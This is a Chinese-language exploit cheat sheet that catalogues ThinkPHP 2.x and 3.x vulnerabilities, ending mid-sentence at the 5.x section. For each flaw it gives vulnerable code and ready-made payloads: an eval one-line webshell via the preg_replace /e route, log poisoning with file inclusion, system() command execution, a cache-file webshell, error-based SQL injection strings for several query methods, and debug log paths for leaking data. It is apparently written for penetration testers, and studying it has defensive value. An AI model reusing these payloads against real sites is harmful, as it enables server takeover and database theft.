thinkphp 2 系列
2.x 任意代码执行
影响版本
ThinkPHP 2.x
漏洞简介
ThinkPHP 2.x版本通过 preg_replace 的 e 模式匹配路由,从而导致用户的输入参数被插入到双引号中执行,造成任意代码执行漏洞。
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
@e:可执行模式,此为PHP正则表达式解析中的专有参数,被例如preg_replace等函数所支持。
POC
http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}
一句话 webshell:
http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST['jkjk']))}
注意:preg_replace这个函数 5.2~5.6 都还是可以执行的,但是到了php 版本7 以上,就已经都不支持
/e
修饰符了。
冷知识
ThinkPHP 3.0 版本因为Lite模式下没有修复该漏洞,所以也存在这个漏洞
thinkphp 3 系列
3.x assign 变量覆盖RCE
利用条件
•
业务代码中的使用了assign 方法注册变量
•
assign()
函数的第一个参数可控
•
存在可包含的恶意日志文件
漏洞原理
业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。 例如:
$value = I("get.value");
$this->assign($value);
$this->display();
POC
(1)先写入恶意代码到日志中
/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>
注意:使用 BurpSuite 发包,避免被编码,从而导致无法包含解析
(2)包含并执行日志内的代码
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log
3.x show 函数命令执行
利用条件
有使用 show 函数来解析参数。
漏洞原理
show函数后面的函数调用中,show函数的内容(包括我们传递进去的内容)会变成一个缓存文件,而后面的fetch函数调用中会对该缓存文件进行文件包含,从而造成执行命令执行。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:'.$n.'</p>','utf-8');
}
}
POC
https://localhost/index.php/home/index/index?n=<?php system("whoami");?>
3.x 日志泄露
漏洞成因
thinkphp 3 在开启 debug 模式的情况下,会在 Runtime 目录下生成日志文件,日志文件名为日期,里面可能包含SQL语句等敏感信息。
日志路径
默认为:
/Application/Runtime/Logs/Home/16_09_09.log
少数情况下会为:
/App/Runtime/Logs/22_03_29.log
/Runtime/Logs/Home/16_09_09.log
利用URL
直接拼接就行,例如:
https://wwww.gotizz.com/Application/Runtime/Logs/Home/16_09_09.log
3.x 缓存漏洞
利用条件
•
使用了
S()
参数作为缓存
漏洞代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$a=I('post.a3');
S('data',$a);
}
}
POC
a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f
然后访问:
http://127.0.0.1/thinkphp-3.2.3/Application/runtime/Temp/8d777f385d3dfec8815d20f7496026dc.php
8d777f385d3dfec8815d20f7496026dc 是 S('data',$a) 中 data 的 MD5 值。
3.2.3 find/select/delete 注入
利用条件
•
使用
I()
函数传参
•
报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要
漏洞代码
public function index()
{
$id = I('id');
$res = M("user")->find($id);
//$res = M("user")->select($id);
//$res = M("user")->delete($id);
dump($res);
}
POC
• find/select注入
id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
• delete注入
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
3.2.3 exp 注入
利用条件
•
通过原生全局数组传参,而不是
I()
函数
•
where参数传递的是我们可控制的数组
•
报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要
漏洞代码
public function index()
{
$User = D('Users');
$map = array('username' => $_GET['username']);
$user = $User->where($map)->find();
var_dump($user);
}
POC
http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
3.2.3 update 注入
利用条件
•
使用
I()
函数来传参
•
调用 save 函数进行数据更新
•
报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要
漏洞代码
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
POC
http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
3.2.3 order 注入
利用条件
• order()方法参数可控 • 开启 debug 模式
漏洞代码
$name = I("name");
$order = I("order");
$res = M("user")->where(["name" => $name])->order($order)->find();
dump($res);
POC
?order[updatexml(1,concat(0x3a,user()),1)]
thinkphp 5 系列
debug 默认状态
从 5.0.10 开始,debug 默认为 false。但是 5.0.13 之前都存在无需开启 debug 的 RCE,5.0.13 开始,需要开启 debug 或者存在 captcha 路由才能成功 RCE。(只有安装了官方的 think-captcha 扩展,才会存在